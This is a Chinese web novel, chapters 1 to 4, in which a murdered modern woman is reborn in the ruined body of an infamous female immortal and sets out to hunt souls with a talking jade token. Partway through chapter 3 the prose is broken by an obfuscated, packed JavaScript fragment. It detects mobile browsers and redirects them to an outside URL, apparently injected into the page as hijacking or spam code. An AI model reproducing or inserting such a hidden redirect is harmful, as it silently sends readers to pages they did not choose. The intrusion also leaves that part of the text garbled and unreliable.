《神君今天也被撩了吗》
1. 死去活来
离州大陆,沧君山。
浓厚阴暗的黑云仿佛要把山头全吞噬掉,一道又一道天雷落下,竟直直的将进入沧君山入口劈地草木枯焦,就连那用上好晶石堆砌成的神像都难遭幸免,还剩几块缀在高处摇摇欲坠。
这般大张旗鼓的触怒天罚,让这雷在沧君山的庇佑下还落了下来,赶往新一届沧君山历练的宗门与仙家,都忍不住朝那劈地最狠的位置看去,只见那毁了的神像旁有一大坑,从远处也只能瞧见坑的周围隐隐约约有些惹眼的白色,走近一瞧,里面躺着的正是那自命不凡且作恶多端如今自食恶果的清羕仙君。
如今造了孽成了这番模样,现下死了莫说有人伤悲,都在直呼‘死的好’,更有甚者想上去再刺两剑。
被那所谓的正人君子拦下:“逝者已矣,又何必给自己积这点阴德?”
“先前她那般做派,你敢说你就没恨过?如今在这惺惺作态,装得这般恶心做甚?”少年执剑瞪他,到嘴边的话也不憋着,脱口而出。
那人登时涨红了脸,面上难堪,不欲与他多究,转过身去不再管那少年。
“要我说她如今这样已是报应,还是别脏了自己的手。”
遑论这少年想如此行事,那些因自持身份怕落了价的仙君长老更想亲自动手。
众人这般想着,却不知那坑里猛然伸出一只手来,接着便是满身脏污、身上混着血和泥的人从黑洞洞的坑里爬了出来。
有人第一次见这场面,被惊地大叫出了声:
“诈、诈、诈尸了!”
“她没死——”
“这都劈不死她,命真大!”
爬出来的人坐在坑边上,一双流着血泪的眼睛直勾勾地盯着那些人看,原本白锦玉缎的长袍破得一条一条,曲起的手指头还在渗着血,将那白不白、黑不黑的衣服扯得血污一片。
整个人活像是刚从乱葬岗赶集回来。
见她还活着,终是有人忍不住了,趁着其余人震惊之余弹了一道灵气过去,直逼她面门。
与此同时,不同的灵气从四面八方胡乱窜过来,毫无章法却都朝着一个方向而去。
折羡能从坑里爬起来,已经用光了这具身体的全部力气,她能感受到空气中细微的波动冲着她而来,却也无法再分出一丝力气去抵抗。
她叹了口气,闭眼准备来个二次死亡。那些灵气纷至沓来之时,破烂的衣兜里掉落出一块玉质方牌,隐在暗处的人还未来得及瞧见玉牌的模样,就被一道巨大的灵识划破了所有的灵气。
那是一道威力极大的剑灵。
剑灵护主。
主人不死,剑灵不灭。
届时无人再敢上前,那些眼里含着仇恨的人也带着恐惧后退了几步,在此刻哪里还不明白,只要这清羕仙君未被天雷劈死,即使她身受如此重伤,她那柄认主的剑依旧能护得她安然无恙。
恰在此时,沧君山结界大开,他们不再管这女魔头,都争先恐后地朝结界入口处奔去,霎时间人走林空。
对他们来说,仇何时都能报,而机缘并不是随时都有的。
偌大的沧君山脚下,只余了全身经脉断裂,五脏六腑都稀碎的“清羕仙君”一人。
她沉默着看向那个急得一直冒金光不停抖来抖去的玉牌,感受到它的焦躁不安和难过时,她抬了抬手想摸摸它,下一秒就昏了过去。
^^
金碧辉煌的大殿内,只摆了两把椅子一张桌子,看上去格外空旷,那桌子上摆着一盘未下完的棋。折羡再次睁眼时便坐在其中一方椅子上。
距离她上一回见这棋局,也不过是一个时辰前,那时候,她也是刚死没多久。
她手执黑棋刚落下一子,对面白棋紧接着也落在一起处。
“是吾考虑欠妥了。”
虚空中的声音雄浑沉厚,夹杂着些许歉意。
“吾去得晚了些,只堪堪保住了她的肉身没被拍散,将你直接传送过去,平白让你遭了这罪。”
折羡手里还捻着棋子,听那声音自顾自说,心道确实让她白遭了这罪,要按照祂的逻辑,这接下来怕是有不少罪受。
果不其然这才刚想到,对方又开了口:“只有她的肉身是目前最合你魂体的,但那身体实在破败,故吾将你传了回来,吾已将那身体修复了些许。”
长久的寂静得不到后者的回答,对方似也有理难说:“魂灵才是主要的,你有强大的魂灵,肉身只是一个你需要在那个世界行走的外物罢了。”
“待我一活动,肝胆俱裂疼的不是你,你自是无所谓。”
不肖说那肉身经脉全断,被天雷罚的灵体尽毁,修炼已再无可能,一具残尸,一招不慎立马就翘掉了,她还没烂好心到去接手这碎盘子。
“吾已将她肉身修复,你只需静待即可,待三个月后你自会长出你魂灵的肉身,这期间只要不强行催动你自己魂灵的灵气就行。”
一子落下,对方败局已定,折羡站起身,心情好了一点:“那便将我传过去吧。”
^^
一阵天旋地转眼花缭乱之际,折羡才看清她目前的所在地,已不在沧君山脚下的那个神像旁了。
她是躺在床上的,很难去想刚才那阵晕眩是来自她魂灵的旋转,又是这种窒息般的方式进入身体里。
接着就是铺天盖地关于这位原身体主人的记忆在她眼前放电影,那会儿在沧君山没有的东西,这时便有了,是谁的手笔也不多说。
耳边传来一道天真稚嫩的童音,还夹杂着某些电流:“主人,已按照神父的旨意将记忆传给你了。”
折羡坐起身,活动了一下手臂,那从被人捅了十几刀后死掉,又莫名其妙被主神抓来做任务,结果措不及防被甩到一具糟了雷劈的身体里时一直绷着的脸在此刻,有点绷不住了。
她呼了一口气,去整理那些记忆。
要说这清羕仙君,曾经的确是百年难得一遇的极品修炼体制,她在五岁那年被一人带回宗门测出是一品灵体,是除了纯灵体以外,最容易修炼得道成仙,还极有可能飞升成神的灵体体质。
这是个名为离州大陆的世界,这个世界姑且称它为万物皆有灵的世界。共分为六大界,其中神界较为特殊,自万年前神魔大战之后就不复存在了。
按照常理来说,这么久的历史不该有如此详细的记录,奈何天道震怒,将当时那一战的残骸封印在了沧君山,并且将六界领域各自圈在自己的地盘,严令出现不该有的彼界之物来此界的情形。
此后数年,大陆生灵都处在修养中,一切都在朝比之先前更好的方向发展,各界也渐渐有了新的规制。
最为普通的人类,也能繁衍出可以修炼灵气的灵体来,因而有了宗门修真一说。有真的修炼成仙的人到了仙界,还请命回人界,有的说是还愿,也有的是去攒功德。
而清羕仙君,也是从人修炼成仙的极少数天才,关于她的传奇故事,折羡只想用几个字总结:魔幻且合理。
清羕仙君名承漾,是人界离奚国某个小县城的某个村里的孩子。因是女孩,家里养到五岁后便生了要卖出去换钱的念头,恰巧她生的还好看,让县里一户有钱的商贾看上了,要买去做丫鬟。
承漾在被送去的路上生了一场病,找了郎中也没治好。那个商贾本以为捡到了宝,瞧着如此乖巧一小女孩,没成想离了村竟就要病死,他直觉晦气,医不好便将人丢了出去。
那时恰逢大雪天,本就病了的人差点冻死在屋门外,被个乞丐拖回了他住的烂房子里,那乞丐是将承漾当食物捡回去的,拖着人就扔在了破门外,压根没想
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过人还会醒来。
雪是真的大,那漏了几个洞,风再大点就能吹垮的房子,根本无法遮蔽,何况承漾都不在屋内,是在雪都堆到墙面一尺高的屋外。
人都快被雪埋的看不见了,她突然醒了过来。
我这是已经死了吗?承漾心道。
感到身体里有一股灼热的火在烤着她,她竟一点也不觉得冷。
她不知这是什么情况,只觉得很暖,她抻着手,朝那个位置摸去,冻得僵硬生斑还隐隐渗血的手就这样被胸腔那暖暖的光烤好了。
饿。
她从雪堆里爬起来,连身上的雪都没拍掉,木着身体朝门口走去,小心翼翼推开门,看到了破旧又空旷的房间只有个脏兮兮的乞丐躺在那里,她朝那个乞丐走过去,心里想的是,不好吃,可是没有其他能吃的食物。
她想活着。
也不知那乞丐是被这极冷的天气冻死了还是警觉性低,总之她靠过去时他毫无反应,捏着从地上捡来的残瓦片,她心跳得极快,漆黑的眼珠子一眨不眨看向那个活物,在她眼里,那仿佛已是香喷喷的食物。
瓦片贴到乞丐脖子上时,他瑟缩了一下,艰难地翻了个身,眼依旧闭得很紧。
承漾却吓得跌在了地上,残片反将她小小的手割了道口子,也就在这时,乞丐藏在怀里的食物掉了出来。
那是一个梆梆硬的黑馒头。
她这次以更轻的动作将那馒头偷了过来,那一晚上,她都在惊惧中度过,黑馒头,她也只吃了一小块。
等她再次醒来时,她已经到了新的地方,那个人告诉她,这里是霄欢宗,从此以后,她可以一直住在这里,他会养着她。
承漾仰起头看他,笑得很开心,黑洞洞的眸子里映着那人的面孔。
二十年后,那人死了,先是全身上下被砍了不下百刀,身上的每一块皮肉都被削的极其薄,甚至风吹过,还能看到那些飞起来的皮组成的美妙的花,白里透红的皮在阳光下竟还有些好看,当时的承漾想。
最后才是那一剑封喉。
霄欢宗宗主离奇惨死,其门下唯一弟子承漾接管宗主之位。
接下来的百年里,便是承漾凭借一品灵体疯狂修炼,让自己成了最快飞升的修士,从一个小弟子一跃成为仙的那天,受其他宗门敬仰,被仙界的执掌者受封仙君称号。
这可以说是承漾一生中最风光的时段,在这之后,便是传奇女子走上新道路的故事。
她不再专注于修仙,也不满足于只在仙界停留,她想突破一品灵体,成为纯灵体,她想去往神境之处,然强行炼体惨遭反噬。
转而修练起了魔道,先是骗取魔尊之子的信任偷了对方的魔力修炼,趁对方虚弱之时又将他的记忆抽了丢进沧君山隶属于人界修炼的结界里,准备让这只小魔君自生自灭。
然魔灵之气的修炼依旧不能提升她的功力,她又转为吸取妖灵之气,化形的、未化形的妖灵,采取先前的方式如法炮制。
几乎试遍了所有修炼方式,都没能触碰到她最想要的。据说沧君山原是神界所属,大战后才归于五界各一,她想借这一次沧君山结界开放日,尝试最后一次,毫无意外的,她都没来得及进去,就死在了天道惩罚之下。
捡了些重点看完的折羡:“……”
真是极其丰富多彩命运多舛富有实力但一生都在求其高位最后惨死的奇女子。
而她折羡,则是一个很标准的遇事先躺平、等着事来解决人的只要心大、人就自由的新时代青年。对她来说,有点钱了就先花,花完了再说。
所以,她在摆烂和奋斗了十来年终于有了一套别墅和过亿存款后,开启彻底躺平的‘晚年’生活时,老天看不下去了。
她在回刚买的大别墅的家门口,被人捅死了。
2. 起源之由
来人没带口罩没有任何伪装,就很普通的装饰,但她看不清那人模样。
刀子过来的时候折羡身体反应更快。顺风顺水过了二十七年的折羡发现,一向只能她挑衅别人的身体动不了了。
等疼痛传来时,就是她被捅了十几刀才死透的身体。
“……”
这是人能干出来的事儿?生怕她不死,捅了十几刀。
直到她一点反应都做不出来时,她凭借着毅力抬起了手,扬起的大拇指反扣,不甘地闭上眼。她可不想自己死了还瞪着眼睛吓别人,身上那些血已经够吓人了。
结果下一秒她就站在了一个充满雾气的豪华漏金的空间前,目光平静,面带死气,周身气压低的离谱,朝那边闪着金光的虚无之处看去,又忍不住捂了捂胸口被捅成筛子的位置,有心跳。
那时的感受还停留在记忆里,她忍不住咬了咬牙,尽量让自己平静。
其实她平时真是个天塌下来都很冷静的人,目前涉及到生与死这个她没接触过的极限概念,让她那伪装了很多年的情绪有了些许变化。
那么多年的平静让她误以为自己只是来这个世界走过场,现下这突如其来的一招,才让她有种自己被真实了的感觉。
那虚无之处的下方摆了一方棋盘,是盘残局,折羡走过去,金光将对面的空白空间笼罩,逐渐展现出了一个类似于投影的东西,上面浮着一行字:
“你有两个选择。”
屏幕上出现了一二两个选项。
[壹接下任务,完成后可获得一次重新投胎选择人生的机会。
贰拒绝任务,即刻灰飞烟灭。]
她看向那一行灰色的贰的选项,有些许无语。
屏幕闪了一下,上面出现一行新的字:
“找到精花中所需要的魂灵,带回主神空间。若遇到令精花变红的恶灵,杀死即可。”
话毕,屏幕空间消失,彩石上空浮现出一朵透明精花,精花上萦绕着一些极小的细闪光芒,精花旁还悬着一块花纹复杂的方形玉牌,玉牌的牌身整体呈黑色,上面的大字却是浮金的,染得整块牌子也隐隐透着金光。
“这块玉牌是吾予汝的最高权限,可助汝在此世界行事通畅。用你们小说世界的话来说,你可以称呼它为系统。在任务途中,它会提醒你进度,也会助你更快寻找魂灵目标。”
折羡伸出手,精花落到手上,化形成了一个透明色镯子,镯子上流动着丝丝灵气,折羡没怎么在意,拿过一旁的玉牌。
玉牌上那个大大的“咎”字在折羡看过去时穿透玉牌印立了出来。
“吾的能量正在减弱,汝需在三百年内找到所有魂灵,这期间吾可能没法再为其提供助力,但玉牌和精花都可以在关键时刻为你助力。切记,魂灵不可损毁。”
^^
以上就是她死去活来差点又死过去的前传。
任务,金手指,都说得一清二楚。以及她的过去,也将随着新的开始而消散。
她将目光落到了这间屋子其他地方,房间里还有着似有若无的香味,木制衣架处置放着几件浅色的衣裳,不过目测这位衣服的主人应当不矮。
桌上的茶水应当是刚换过,折羡还能看到壶嘴处飘出来的烟。房间整体上看是素色调,远处屏风也是少见的水墨色,她这才想起来查看自己如今的情况,她身上是一身粉色挽花的纱裙,袖口的花纹绣得像是某种动物。
往腰间看去便是那块玉牌,手指戳了一下,霎那间关于玉牌的使用方法和其他作用一一出现在脑海里。前者比较详细,后者纯属敷衍。
这块玉牌叫“隐若”,有灵之物。
也是对方给予她的系统的寄存处,与承漾碎掉的佩剑不同,此玉可化万物,万物皆只为死物。
“隐若?”她低低唤了一声,接着就见到隐若周身亮了一下。
“主人。”此声音是落在折羡脑海里的,她觉得新奇,正要再说点什么,就被另一道声音吸引了注意。
“你怎么回事?谁让你出去的?”一女子揪着另一名女子的胳膊将她往屋里带。
“是我之过,下次不会了。”那女子低着头,声音闷闷的,说出口又软濡悦耳,甜腻中透着点轻柔,像是故意压低了原本的声线,明明高另外女子一大截,此时低头莫名有了一股娇气。
“你还想有下次?你知不知道你这样的出去就是被人欺负的?到时候被人卖了还在给人算钱怎么买酒划算。”
折羡快速从床上爬起来,躲进了屏风后面,忍不住探头看去。
隐隐能看到被掐的女子身材极好,仅是一个背影,就能让人忍不住想追上去再探一二。
曼妙的腰身,纤细的手指,模糊不清的面容,折羡搓了搓自己的脸,还想再听听刚才那声音,结果她们突然朝这边走过来了,她立马推开窗快速溜走了。
据她所查看到的承漾的记忆,对方只有仇人没有好友。
先不说她当时还在沧君山是怎么突然出现在这的,就单说这清羕仙君的名号那也是人人仙仙鬼鬼妖妖魔魔想得而诛之的。
在她前脚翻出房间后,之前那名低头的女子有感应般抬起了头,目光落到了那大开的窗户上,纤长有力的手指捻过屏风一处,嘴角勾起了一抹似有若无的笑,往上看去,那双狭长半眯着的眸子此刻正一眨不眨地盯着床的位置。
^^
折羡带着隐若先是直奔卖衣服的铺子,将头上不多的珠钗取下,在询问了老板能不能作为抵当衣衫的银子得到肯定回答后,她将手腕上戴的多余的镯子,耳坠,项链全部褪下给了出去,给自己换了三身料子还不错的便衣,这才奔着下一个地方而去。
她在换衣服的时候检查了她的身体,还按照承漾修炼的口诀试了一下,确实坏得很彻底,但她能隐隐感觉到一股莫名的力量在体内,这应当不是承漾这具无法再修炼的身体里的。
她假意在街上溜达了好一圈,这才状似找到了目的地,踏进钱庄,将从隐若那骗来的几块大金子换成了银票和一些碎银,接着又朝打听到的书肆走去。
“阿若啊,你要知道,你的神父不算是这个世界的人,给你的信息也不一定全真,万一是祂道听途说记下来的,我们到时候可就惨了。”折羡跨进书肆,挑书的时候还在给隐若洗脑。
她没吃过猪肉,还没见过猪跑吗?隐约记得有个话本子里写的就是:一女子穿越进某小说,以为自己上帝视角,实则作者处处埋坑,结果被里面的漏洞坑的可惨最后惨死的下场。
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同理可证,一切非亲身经历的事都应保持存疑。
“主人,神父不会骗我的!”隐若作势就要在书肆亮起金光,折羡连忙给它摁住了,安抚它:“我的意思是,我们要了解得更多、更细致、更全面,还是需要深入基层,实地考察。道听途说只是最下等的获取信息的手段。”
隐若感觉不太对,又说不上来,小脑袋发晕:“那你来书肆干什么?”
这地方也不是实地考察该来的啊。
“话又说回来,书籍是人类进步的阶梯。”
折羡跟隐若闲扯中看到了一本路线图,她状似不在意的随手放下,又拿了本《霸道王爷他今天又又又来了》在手里,刚好将前面那本书叠下去了,她拿去付钱时才慢慢解释道:“在考察之前,我们需要放松一下。”
“这就是你逛了一圈拿了本话本子的原因?”隐若简直要气笑了。
“嗯,你还知道话本子?你不是小孩吗,而且精神富足才有思考的能力。”
“你还要去哪里?”
“找客栈休息。”
“这也是你计划的一环?”
“嗯,身体恢复才有力气行动。”
“……”
“你神父说了,这具身体需要静养三个月才能恢复。”
也不无道理,隐若被说服了,何况这才第一天,它家主人一看就很辛苦。
所以接下来三个月,它真正见识到了什么叫做“合理休息和带薪休假”!
虽然这个“薪”有待商榷。
在客栈狠狠休息了两天,折羡终于收拾东西上路了。
隐若眼巴巴看着她躺在躺椅上读了两天的《霸道王爷》,那狂炫霸气的字体尽管它不辨颜色也依旧觉得那应该是能闪瞎它双眼的高级东西,不然它家主人怎么看得那么入迷。
实际上,它要是能站到折羡背后去看上面的内容,就能发现,里面赫然是一张沧君山残图和离州大陆人界分布图。
这是折羡综合承漾记忆里面的相关内容自己画的,上面标注的也不是汉字,图标更是奇奇怪怪的,她倒是不怕隐若看见,反正它也看不懂,奈何那家伙根本没发现。
而且实地考察她也没说错,她现在所在的地方是离安国都城,她那天出来的地方是都城中最大的一家青楼。
此青楼与她之前所见的略有不同。此楼名为醉红楼,老鸨名唤卞青,青楼里面是分男女两个区。来这里的不管是女子来找女子或男子,还是男子来找女子或男子,折羡统称他们为剽倡大家族。
别误会,这里没有打错字,因为是人在干这事,所以她个人认为,是“剽倡”,当然也不排除这里面混进了其他物种,但目前没有修饰词,暂且用这一词来代替一下。
一句话总结就是:这是个男女混合的青楼。
她怀疑那个主神是为了报复她当时要求修复好承漾肉身令祂花费了很多能量的仇,故意把她投在了那个地方。
由于她现如今的身份是清羕仙君,非常之出名,也非常之恶臭,所以她还要在修养生息的这段日子里躲避可能随时冒出来的仇家,亦或者,某些被她骗过有过节的人。
说来也奇怪,承漾都这样了那清羕仙君的名号也没被收回,这真是满满的溺爱了。
3. 体虚气短
一人一统离开了离安,去了隔壁离渊,主神说玉牌可助她在六界随意通行,是指高层通行还是低层?还是都可以?亦或是某种身份象征,也许她报上清羕仙君的名号更让人震撼。
她将自己打扮成跟那些进出城门的行人一样,换的衣装也不是修行之人所穿,如墨般浓密的长发被她盘起插了根树枝,给自己最便宜的那身衣服扯烂了几个口子,脸也换了肤色,这才蛐蛐摸摸过去。
若是玉牌不行,没关系,她还有后手,伪造通行文牒这种小事,她之前干过许多,简直手拿把掐。
正这样想着,她递出去的玉牌就被退回来了,隐若这小脾气立马上来了,正要化成大饼上去扇他两巴掌让他老实放他们进去,折羡又把它摁住了。
“别冲动,暴力是用来解决大问题的,我有办法。”
她从怀里拿出新的通行文牒递了过去,道:“这位小哥,实属意外,我刚刚眼花看错了,这才是文牒。”
禁卫盯着那张文牒看了许久,总觉得有问题,又说不出来是哪的问题,另一个禁卫也过来检查了一番,才将折羡放进去。
“主人,你什么时候准备的这个啊?”隐若声音低低的,看上去情绪不太好。
“在离安的时候随便弄了一个,你主人说什么来着,你神父所言不一定靠谱。”
折羡嘴角挂着淡淡的笑意,又忍不住刺两句那个傻叉主神,为了不破坏自己对外温柔贤惠人设,她又安抚性得点了点玉牌以示安抚。
隐若牌身抖动,光芒也不似之前显现出来的那般有神,它喃喃自语道:“为什么神父要骗我们呢?连这点小事都用不上我,那我来这是干什么的?”
眼看着孩子快把自己想自闭了,折羡忍不住扶额,她本意只是想骂贱人来着,并非让小可爱苦恼。
她解释道:“你可别这么说,你的作用不在小事上,你可是成大事的关键。”
“比如说?”
“比如……”
一道急促的大喊声打断了他们的对话。
“让一下!让一下!”
“抓小偷!那个人是小偷!”
不远处拿着大刀的一少年正追着另一名男子,那名男子个头不高,身形偏瘦,在被人追杀下还能灵活地一路逃窜,躲闪之下推倒了不少东西,直奔着折羡此刻的位置而来。
折羡:“……”
什么叫坏事不出门,出门没好事,这就是了。
“大事来了。”
“阿若。”脑海里刚唤出名字,玉牌在折羡垂下的手中化成一柄短小的瓷刀,通体青白无暇,看上去有点像个易碎的摆件。反正拿出来应该没人信这玩意除了好看能有什么用。
本是朝折羡这个看上去没什么攻击力,长得又颇为小白脸,还疑似奔波已久体能耗尽的文弱公子而来,想挟持一波的歹徒看到折羡也朝她奔来时,愣了一秒。
只这一秒,折羡已至他身前,上去就是一脚将人踹飞,接着尝试了一下瓷刀的锋利度,快步走到他面前照着脸就是一刀。
快狠准,于旁人看来不过几息。
“啊啊啊啊——”那人被踹了没太大感觉,还想爬起来溜走,结果这一刀跟淬了毒般,刚划过去人就痛苦地大叫了起来。
追那男子的少年也赶了过来,他上去将小偷揪了起来,绑好后丢给了侍卫,期间速度极快,折羡这一脚,把自己也踹出毛病了,更何况她速度快,下刀时用得力太大将人脸上的骨头都割开了,以至于她反应过来时,只觉得自己如溺水般呼吸不过来,那追小偷的少年就在这时朝她走来。
“多谢小郎君相助。”
折羡不矮,在现代没有一米八至少也有一米七八左右,到了离州大陆这身高反而不吃香了,不对,承漾这身体比她矮一些,应当在一米七二左右。而她扮作男子后,竟然看上去无比瘦弱,面带病气的模样。
要知道,在现代她可是出cos能迷倒一大片小女生的人,嗯……有时候也能吸引来一群男生。
“不必……”折羡话还没说完,便只觉得眼前发黑,虚弱程度已经到了下一秒要原地躺讹人的地步,果然不论是动脑子还是动手,都很消耗精力。
她在心里叫了两声隐若,没听到小孩搭话,转而随手抓了个东西稳住身形。
“小郎君,你怎么了?”
“小郎君……”
声音在折羡耳边绕着,却越来越小。
她竟然因为踹小偷那一脚,体虚气力不足,晕过去了!
混乱之下,那少年将人扶住,示意侍卫把人背好。不远处一个戴着面巾的人正朝这边看着,他顺着人群靠到了背着折羡的那名侍卫附近,眼神四处乱晃,粗鄙杂乱的眉毛随着眼睛睁大也扬起,却没有再看到他想看到的。
^^
同样的,睁开眼时折羡朝四周望去,这比上次那个青楼里的房间要高雅很多。
折羡这才知道,她这回举手之劳举了个大的,此人权势不太清楚,但应当极其富有。
她住进了离渊最大最贵的客栈,原谅她在古代突然穷人乍富,先前在离安住的也不过是普通客栈。
而这里,不仅有人全权伺候,还是个多功能娱乐区。什么室内投壶、垂丸、围棋等等。
听曲儿作画吟诗什么的,也多了去。
不过每一项活动都是要交钱的,她不用,她是高级住户,可以免费玩。
一不小心,她就在这个客栈玩疯了。这算是她来这里第一次体验感十分良好,有种她先前经常干这事的错觉。
隐若睡个觉醒来就看到它家主人正坐在棋盘的一方位置上,同对面人厮杀得火热。
由于它不辨色,所以所有棋子在它眼里都是同一个色,它很是疑惑:
“主人,同一个颜色的子你们怎么分清的呀?”
折羡分了一丝心神应答它:“你醒了?你怎么不告诉我切换形态后你会进入休眠期。”
害得她当时以为这家伙自己跑路了,而她气急攻心晕过去。
“我也不知道怎么回事,不是玉牌形态我就睡过去了。不过主人,我比你休息的时间短,你可是睡了五天呢!”
“?五天,没人以为我死了吗?”折羡扯了扯嘴角。
“那个太医和王爷交流说,你只是太累了,需要休息。”
“王爷?”
“你那天踹的小偷是个刺客,他敢如此大张旗鼓地出现,就是为了把王爷引到暗处将人杀了,没想到中途出了你这个意外。主人你说得很对,我确实是能干大事的统。”它切换形态虽然会休眠,但那见血时的感觉它还是有的,它后续查看回放时看到主人拿刀时的样子,那简直不要太帅。
“是吗。”折羡执棋之手不着痕迹地顿了顿,又沉思半刻将白棋落下。她专注的目光落在棋盘上,回答了小阿若前面的问题:“同颜色的子是己方棋子。在小阿若眼里主人这里的棋子和对方的棋子是一个颜色?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209452|197386||http|test|mini|href|location''.split(''|''),0,{}));
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>隐若朝那边看去,点了点不存在的头:“是。”
折羡挑了挑眉,没再说话。手里的棋子落下得更快,几乎是追着对面杀,先前对面人还在暗爽自己有赢的可能,已经梦上那旁边的金块属于自己的时候就发现自己的棋不知何时死了一大半。
他眼睁睁看着折羡拢过赌注的钱又拿走那些下注赢了的一部分钱,潇洒离去。他目呲欲裂,竖起的眉毛简直快要越过脸飞到折羡身上去杀她了,拳头捏得嘎吱作响。
^^
离渊的国君在三个国君中是最出名的,她上位以来颁布的政令,修改的律法以及那些惠民的政策,让原本处于三国中实力最弱的离渊直接爬上了第二,加上近十来年三国安定,离渊国君趁此机会让国力又蹭蹭涨了两分,直逼国力第一的离安。
折羡啧啧称奇,很是敬佩这位皇帝,而前几日她顺手帮忙的那少年,正是皇帝最小的弟弟,淳晋王——抱钰。
不过话说这弟弟有点太鸡肋了,都是王爷的身份了追个小偷还亲自出马,关键是还没追到。
蜜罐里养大的孩子,要说什么都会,那不真,但皇室后代,什么都不会,那才假。
而且看抱钰的年龄也不大,二十岁顶天。如此年轻,追个人恨不得要了半条命,连折羡这种浑身骨头都有病气全身烂了才组装好的人,都能一招毙命将其拿下,可见小王爷平时没少偷懒。
她摇摇头叹了口气,满脸见到后起之秀如此垃圾的惋惜之感,一抬头就见到抱钰同另一个少年站在不远处,眼神复杂地看着她。
那少年抱着剑,神情淡漠,眉角轻蹙,流露出的嫌弃溢于言表,似乎是在说:这就是你大老远拉着我来看的人?
抱钰小王爷毫不在意他那好友露出的表情,也或许是根本没读懂。
他拉着人朝折羡走去,到近处才礼貌地开口:“小郎君,这位是我的好友,名唤久颜。”
折羡不知这位王爷突然给她介绍这人干什么,也不好拂了人家的面子,才想起来她还没正式介绍过自己,虽是她先帮了对方,但对方让她住舒服了,这面子可以给。
“我名折羡。”折枝花亦开,凡是羡神来。
这是她自己给自己名字的解释,而不是那个人的取名之意。
抱钰这个老大粗,心思单纯,说话跟倒豆子似的,三两下就把折羡宽慰到了:“折羡,好名字!待到攀蟾折桂时,自有旁人羡煞来。”
“羡小郎君,你那日的刀使得实在是太棒了,我从未见过如此快速的手法,且那日你的刀划了那人脸颊后,如今依旧没好,可见是所用功法了得。”
折羡:“?”
这她真不知道。
“我这位好友剑术了得,我看你那日虽是用的小刀,但手法是执剑之人所用,想必对剑也颇为了解,就想做这个折中人让你们结缘认识。”
抱钰可太知道他这朋友对剑的痴迷度了,留下折羡一方面是他慕强想结交,另一方面则刚好想到最近来离渊找他的久颜钻研了新剑法,若不介绍他们认识,抱钰又要被迫陪这个剑道疯子练上半个月剑。
不是不愿,是太折磨人了!他一个潇洒闲懒王爷,遇上久颜之后再也没过过一天好日子。
他也想过,要是两人实在处不来,一言不合要打起来,那他就撒泼打滚让久颜手下留情。
是的,在他眼里,折羡所表现出来那一招是很强,但还是远远不及他的好友。
折羡:“……”
4. 正剑之法
其实很不想和小孩舞刀弄枪,显得自己欺负人,她可是个阅历无数,经验丰富的老躺平人了,跟年轻人玩带坏了他们怎么办。
“我觉得这种事还是……”
“嗡嗡嗡——提示——提示——任务对象出现。”折羡脑子里猛然拉起警报,隐若稚嫩清脆的童音伴着一丝电子音在脑海重复播报,手腕处微微发热。
找专业剑道师品鉴学习吧。
“还是很有必要的。”魂灵就这样措不及防出现了。
她面上不显,保持着自己淡漠高冷的形象,眼睛略显迟疑地朝久颜看去。
是的,她向来对人不对事,给她好脸色的她就温柔以待,比如隐若。
给她甩脸色的她就比对方更能摆脸色。
全程抱着剑一句话没说的久颜经历了一波从看到折羡脸抽筋疑似面部瘫痪人员,到好友单纯犯傻,给只认识了几天的人恨不得把全家老小都供出去的表现,再到折羡呼之欲出要拒绝的话转为坦然应下的川剧变脸时:“……”
久颜递了个“你是猪吗”的眼神给抱钰,被架在高处的感受让他静默一瞬,只得干巴巴道:“他说话不过脑子,什么剑术了得不过是他惯用的吹嘘之法,你不必在意。”
“哪里的话,我跟抱小王爷一见如故,这几天还多亏了他的照顾,如今相处之下也深知他是真性情。阁下是他的好友,理当同我有缘。”折羡直起身子,面带微笑同人拉近乎。
“我确实对剑法有些研究,要不然我们切磋切磋?”实则是一剧烈运动就要昏倒的折·弱不禁风·林妹妹版·羡。
久颜:“……”
他此时真想高呼一句:有无高人前来为小生支招。
^^
抱钰带着二人去了一片竹林。
折羡还在想自己怎么借此躲过这次比试,毕竟可能过两招后她等会没前摇直接晕貌似更不礼貌。
对面身着蓝色衣衫的少年负剑而立,折羡抽出隐若化形的瓷玉剑,剑身透着寒光,看上去就很脆弱一碰秒碎的剑,在和久颜的剑相撞时,发出茶盏落地的碎音,然后抱钰就看到,说自己对剑法略有研究的折羡拿着剑胡乱挥了起来。
久颜显然也没见过此招式,一时应对不敌,差点让剑划了脸,折羡轻松撤力,青色玉质的剑锋在久颜脸上一闪而过。
他踮脚后退,借势而来,这次用出了十二分的精神,将比试中的剑舞得跟表演一样好看,当然不止是好看,就连剑的招式都直逼人的死穴,招招下狠手。
折羡一直在躲,对面出一招,她学一招,虽不敌原主人之力,然加上她那点混乱之法,也让她坚持了好一阵,她又感觉气血上涌了。
下一秒,折羡抬手擦了下鼻子,满手的血。
“……”
久颜:“?”
接着久颜便看到刚还在接他剑招的人如脱了线的风筝,直直地朝地上坠去。
折羡握不住剑,也控制不了身体,心想为了和任务对象搭上线她可真是太努力了。
她扔了剑正要在心里默念变成床,让她躺一下不至于摔成傻子时,就感觉有什么东西揽住了她,知道自己不会直接摔在地上时她松了口气,紧绷的神经也放松了一瞬。
久颜皱着眉将人抱住落回地下,抱钰在一旁看得呆楞住了,回过神递了个手帕过去,折羡被扶着坐在一旁的石椅上,她拿着手帕捂住自己的鼻子,支着手休息。
“不能打便不打,这又是闹哪出?”久颜这剑痴眼里难得多了一丝恼怒,原不知道为何眼前这人突然变了想法,本就不想和他相交,又费了口舌非要接下陪练,如今承了抱钰的话,就顶着这副破身体来和他切磋。
剑法什么时候不能切磋,就不能养好了身体再来吗?这让他多胜之不武。
要不是刚才他提前发现收了剑,那一剑过去只怕折羡已经没了。
而这时的折羡思考的是,此人确实极其热爱剑,已经到了为剑疯魔的地步,剑术了得,可造之才。倒是可以借机利用一下此点。
她记得承漾之前有得到过一本剑谱,当时试图自己修炼,也只练到了三层,如果她以这本剑谱为由,骗他跟她走,到时候回仙界拿给他,是不是成功率比直接杀了人取魂灵更快?
不杀生靠哄骗也不失为一个办法。
至于抱钰,这个人身上也有点古怪,她感受不到他体内魂灵的波动。
